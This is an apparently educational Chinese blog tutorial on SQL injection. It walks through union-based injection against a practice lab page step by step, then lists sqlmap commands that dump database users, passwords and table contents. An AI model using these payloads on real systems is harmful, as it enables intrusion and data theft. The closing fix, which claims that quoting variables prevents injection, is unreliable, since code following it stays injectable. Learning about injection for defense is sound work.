0x00 声明
任何没有经过授权的渗透测试 都是违法行为
请各位看官 遵守网络安全法
本文只作为技术交流 经验总结 靶场实战
关于 WAF绕过 本文将不会讨论
本人严格遵守《网络安全法》
本人严格遵守《中华人民共和国民法典》
0x01 SQL注入原理 SQL注入形成原因
SQL注入原理
SQL注入的原理 就是 在查询数据的过程中
由于外部参数可控 导致将恶意SQL语句 插入到 应用参数中
并且将其带入数据库中 进行执行操作
由于程序员 的代码中 在处理程序和 数据库进行交互 查询数据的时候
使用不安全的代码编程习惯 比如字符串拼接的方式构造SQL语句
并且 由于没有对外部参数进行足够的可控参数的处理
便将恶意SQL语句进行执行数据库信息相关查询 等攻击操作
0x02 SQL注入可能产生的危害
首当其冲 数据库信息泄露 造成公司的用户信息泄露 给公司造成不良社会影响
其次 因为网页内容存储在数据库
导致攻击者可以 通过数据库对特定的网页 可以进行篡改 进行网站挂马 进行网马攻击
甚至 攻击者 可以通过 数据库存在的漏洞 直接获取webshell 甚至可以提权到system系统权限
0x03 SQL注入分类
根据 SQL数据类型分类
整型注入
字符型注入
普遍看到最多的是 根据注入的语法分类
布尔型注入
联合查询注入
延时注入
多语句型注入
报错型租入
0x04常用SQL注入判断方法
单引号 判断 ‘
使用 and 1=1
使用 and 1=2
使用 and 1+1
使用 1=1 and 1=2 返回假
使用 1=1 and 1=1 返回真
0x05 3种注入类型区别
数字型不需要闭合单引号
字符型需要闭合单引号
搜索型需要闭合单引号和百分号
0x06 SQL常用函数语句
查看数据库中的用户
User()
查看数据库中有哪些数据库
Database()
查看数据库的版本
Version()
0x07 SQL注入实战
拿到1个网站可能存在的注入点 的时候 可先使用 单引号 ‘ 试试
如果出现图中所示报错信息 证明存在注入
如下图所示
第1步:访问http://www.any.com/sqli/Less-2/?id=1,页面正常。

第2步:加入单引号,访问http://www.any.com/sqli/Less-2/?id=1’,会报错。

第3步:判断列数。(通过二分法)
输入:
http://www.any.com/sqli/Less-2/?id=1%20order%20by%2010
提示Unknown column ’10’ in ‘order clause’,说明小于10列。

第4步输入:
http://www.any.com/sqli/Less-2/?id=1%20order%20by%205
提示Unknown column ‘5’ in ‘order clause’,说明小于5列。

第5步输入:
http://www.any.com/sqli/Less-2/?id=1%20order%20by%203
页面正常,说明大于等于3列。

第6步输入:
http://www.any.com/sqli/Less-2/?id=1%20order%20by%204
提示Unknown column ‘4’ in ‘order clause’,说明小于4列,结合上面的可以确定有三列。

第7步:查看显示位
http://www.any.com/sqli/Less-2/?id=1 and 1=2 union select 11,22,33
显示位 在第二个和第三个位置

第8步 构造payload语句:查看用户信息、数据库名称、mysql版本信息
http://www.any.com/sqli/Less-2/?id=1 and 1=2 union select 11,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),33

第9步:查看security数据库中所有表。
http://www.any.com/sqli/Less-2/?id=1 and 1=2 union select 1,2,unhex(hex(group_concat(table_name))) from information_schema.tables where table_schema=’security’
得到所有的表为:emails,referers,uagents,users

第10步:查看users表中所有列。
http://www.any.com/sqli/Less-2/?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ and table_schema=’security’
得到所有的列为:id,username,password

第11步:查看所有列的值。
http://www.any.com/sqli/Less-2/?id=1 and 1=2 union select 1,2,group_concat(id,’ ‘,username,’ ‘,password) from security.users

以上是手工注入流程 是基础中的基础
0x08 Sqlmap 自动化注入工具
工具是用来提高工作效率的 不是用来偷懒的
作为小白的我知道 漏洞产生的原理也要懂 也很重要
常用Sqlmap语句如下:
查看当前数据库用户权限
python sqlmap.py -u “http://www.any.com/sqli/Less-2/?id=1” –privileges
查看当前数据库用户
python sqlmap.py -u “http://www.any.com/sqli/Less-2/?id=1” –batch –current-user
查看当前数据库用户密码
python sqlmap.py -u “http://www.any.com/sqli/Less-2/?id=1” –batch –passwords
查看当前数据库 库名
python sqlmap.py -u “http://www.any.com/sqli/Less-2/?id=1” –batch –current-db
查看当前数据库 所有数据表
python sqlmap.py -u “http://www.any.com/sqli/Less-2/?id=1” -D 数据库名 –tables
查看当前网站的数据库字段内容
python sqlmap.py -u “http://www.any.com/sqli/Less-2/?id=1” -D 数据库名 -T 表名 –columns
攻击者下载当前数据库的数据
python sqlmap.py -u “http://www.any.com/sqli/Less-2/?id=1” -D 数据库名 -T 表名 -C ‘id,username,password’ –dump
0x09 SQL注入漏洞修复方案
程序员在编程的时候 注意采用从代码层防止SQL注入的方法
1 传值的变量左右两段要加单引号,如下$a 变量左右两段各有单引号,防止SQL注入
例如:select * from users where id=’$a’ limit 0,1
2 杜绝页面报错回显 包括 mysql数据库报错 和 php 语法报错
哈哈哈,学到了,谢谢作者!